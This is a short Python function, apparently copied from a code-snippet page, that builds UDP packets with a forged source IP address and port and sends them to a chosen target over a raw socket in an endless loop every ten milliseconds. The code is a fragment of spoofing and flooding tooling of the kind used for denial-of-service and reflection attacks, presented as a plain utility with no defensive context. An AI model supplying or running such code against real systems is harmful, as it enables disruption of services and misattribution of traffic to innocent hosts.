def udp_spoof_start(target_ip, target_port, spoofed_ip, spoofed_port, payload):
"""Spoof a packet and send it to target_ip, target_port.
Keyword argument(s):
target_ip -- the desired destination ip
target_port -- the desired destination port
spoofed_ip -- the desired source ip
spoofed_port -- the desired source port
"""
spoofed_packet = udp_spoof_pck(target_ip, target_port, spoofed_ip,
spoofed_port, payload)
sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)
while True:
sock.sendto(spoofed_packet, (target_ip, target_port))
sleep(0.01)
评论列表
文章目录